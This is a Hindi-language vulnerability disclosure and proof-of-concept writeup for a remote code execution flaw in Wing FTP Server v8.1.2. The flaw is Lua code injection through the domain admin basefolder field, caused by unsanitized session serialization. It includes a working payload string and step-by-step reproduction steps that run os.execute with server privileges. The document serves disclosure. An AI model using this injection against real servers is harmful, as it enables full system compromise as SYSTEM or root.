CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit
Wing FTP Server v8.1.2 में सत्र सीरियलाइज़ेशन मैकेनिज़्म में एक रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता मौजूद है। एक प्रमाणित प्रशासक डोमेन एडमिन mydirectory (basefolder) फ़ील्ड के माध्यम से मनमाना Lua कोड इंजेक्ट कर सकता है, जो loadfile() के ज़रिए सर्वर-साइड निष्पादित होता है।
यह CVE-2025-47812 से अलग भेद्यता है। CVE-2025-47812 के लिए v7.4.4 में लागू किया गया फिक्स केवल यूज़रनेम फ़ील्ड में नल बाइट इंजेक्शन वेक्टर को संबोधित करता था। अंतर्निहित असुरक्षित सत्र सीरियलाइज़ेशन को ठीक नहीं किया गया था, और v8.1.2 में एडमिन basefolder फ़ील्ड के माध्यम से शोषणीय बना हुआ है।
सत्र सीरियलाइज़ेशन फ़ंक्शन serialize() SessionModule.lua (पंक्ति 103) और SessionModuleAdmin.lua (पंक्ति 104) में Lua [[...]] लॉन्ग-स्ट्रिंग नोटेशन का उपयोग करके स्ट्रिंग मान लिखता है:
outf("_SESSION["..k.."]=[["..v.."]]\r\n")
यदि सत्र मान में ]] होता है, तो लॉन्ग स्ट्रिंग समय से पहले बंद हो जाती है और शेष सामग्री निष्पादन योग्य Lua कोड के रूप में पार्स की जाती है।
ब्रैकेट सैनिटाइज़ेशन कोड cgi.lua (पंक्तियाँ 274-275) और cgiadmin.lua (पंक्तियाँ 277-278) में मौजूद है, लेकिन टिप्पणी की गई है:
--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")
वह सत्र मेटाटेबल जो इस सैनिटाइज़ेशन को लागू करेगा, वह भी अक्षम है:
--setmetatable(_SESSION,session_metatable) -- cgi.lua:282, cgiadmin.lua:285
चरण 1 — डोमेन एडमिन basefolder के माध्यम से पेलोड इंजेक्ट करें:
एक प्रमाणित पूर्ण प्रशासक एक डोमेन एडमिन खाता बनाता या संशोधित करता है। mydirectory फ़ील्ड को इस प्रकार सेट किया जाता है:
C:\ftproot]]os.execute("whoami > C:\\proof.txt")--
एंडपॉइंट service_add_admin.html और service_modify_admin.html mydirectory फ़ील्ड से ब्रैकेट वर्णों को सैनिटाइज़ नहीं करते हैं। (service_add_admin.html पंक्तियों 14-15 पर यूज़रनेम से ब्रैकेट हटाता है, लेकिन mydirectory से नहीं।)
चरण 2 — निष्पादन ट्रिगर करें:
जब ज़हरीला डोमेन एडमिन service_login.html के माध्यम से लॉग इन करता है, तो basefolder सीधे सत्र में संग्रहीत होता है:
rawset(_SESSION,"admin_basefolder",basefolder) -- service_login.html:95
rawset(_SESSION,"admin_nowpath",basefolder) -- service_login.html:96
SessionModuleAdmin.save() इसे सत्र फ़ाइल में इस प्रकार लिखता है:
_SESSION['admin_basefolder']=[[C:\ftproot]]os.execute("whoami > C:\\proof.txt")--]]
चरण 3 — कोड निष्पादन:
उस सत्र का उपयोग करने वाले अगले HTTP अनुरोध पर, SessionModuleAdmin.load() loadfile() को कॉल करता है, उसके बाद f() (पंक्तियाँ 184-188)। Lua पार्सर सत्र फ़ाइल को इस प्रकार व्याख्यायित करता है:
_SESSION['admin_basefolder']=[[C:\ftproot]] --> स्ट्रिंग "C:\ftproot" असाइन करता है
os.execute("whoami > C:\\proof.txt") --> कोड के रूप में निष्पादित होता है
--]] --> शेष भाग टिप्पणी के रूप में है
पेलोड Wing FTP सर्वर प्रक्रिया के विशेषाधिकारों के साथ चलता है (Windows पर SYSTEM, Linux पर root)।
एक कार्यशील PoC शोषण विकसित किया गया है और Windows पर Wing FTP Server v8.1.2 के विरुद्ध परीक्षण किया गया है।
पुनरुत्पादन चरण:
एडमिन पैनल में लॉग इन करें
निम्नलिखित mydirectory मान के साथ एक नया डोमेन एडमिन बनाएं:
C:\ftproot]]os.execute("whoami > C:\\wingftp_rce_proof.txt")--
नवनिर्मित डोमेन एडमिन के रूप में लॉग इन करें
किसी भी एडमिन पृष्ठ पर जाएं (सत्र लोड ट्रिगर करता है)
सत्यापित करें कि C:\wingftp_rce_proof.txt बनाया गया है जिसमें सर्वर का उपयोगकर्ता नाम है